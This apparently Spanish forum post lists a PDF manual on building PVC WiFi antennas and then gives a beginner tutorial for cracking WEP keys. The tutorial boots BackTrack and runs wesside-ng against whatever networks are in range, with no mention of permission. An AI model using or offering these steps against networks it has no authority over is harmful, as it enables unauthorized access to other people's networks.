The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC


Datos Técnicos
The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC
PDF | Spanish | 31 de Julio de 2007 | Norbert R. Ibañez | 61 Paginas | España | 2.84 MB | Modificado 31-MARZO-2008

Descripción
Este manual de Referencia de construcción Rápida de las antenas WIFI en PVC The Jolly Rogers, concentra el Conocimiento Profesional aprendido con la Experiencia Obtenida, en el 2007. Trata sobre los Problemas Especiales; el diseño personal y Construccion de Antenas WIFI de forma Profesional en PVC, y se publica para asegurar el aprendizaje y diseminación de información útil que no ha sido jamás publicada hasta ahora en los manuales existentes de Telecomunicaciones. La Serie Jolly Rogers es una categoría Especial de publicación Experimental; que recoge la información, algunos progresos y la experiencia de trabajos sobre Antenas WIFI que he hecho en la construcción de Antenas.

Nota
Siempre que alguien escribe un texto, o un libro, o un manual, que no puede considerarse como “Oficial”, especialmente en estados Unidos, y Reino Unido, en el mundo del Underground se le aplica la clasificación de Jolly Rogers en analogía a que se trata de un trabajo o un material que no respeta las reglas oficiales convencionales. Un trabajo clasificado como Jolly Rogers es una forma de publicación que exhibe o anuncia la intención de que contiene técnicas clandestinas o ideas no oficiales.


Enlaces:

Descarga de Uploaded.to

FileFactory

Fuente: http://www.intercambiosvirtuales.org/search/label/Libros%20-%20Manuales

Crackear una WEP para dummies

Bueno pues este es un mini manual de como crackear la wep, pero la unica direfencia que existe en este es que NO NESECITAS TENER NINGUN CONOCIMIENTO PREVIo, he de mencionar que varios "compañeros" de este foro han hecho MANUALES DE CALIDAD, mas si en cambio esta es solo otra alternativa...

Bueno primero descargaremos un live-cd linux, en este caso backtrack de la siguiente direccion:
http://www.remote-exploit.org/cgi-bin/fileget?version=bt3-cd

Una vez quemada la imagen boteamos nuestro pc, y una vez dentro de Backtrack, abrimos una consola y escribimos:

wesside-ng -i wlan0

donde wlan0 representa el nombre de tu interfaz wireless.

Este comando hace todo automatico por ti, tu NO TIENES QUE HACER NADA, solo esperar la clave, y lo mejor de todo es lo que encuentre a su alrededor

http://img355.imageshack.us/img355/4945/easyuseod3zk2.png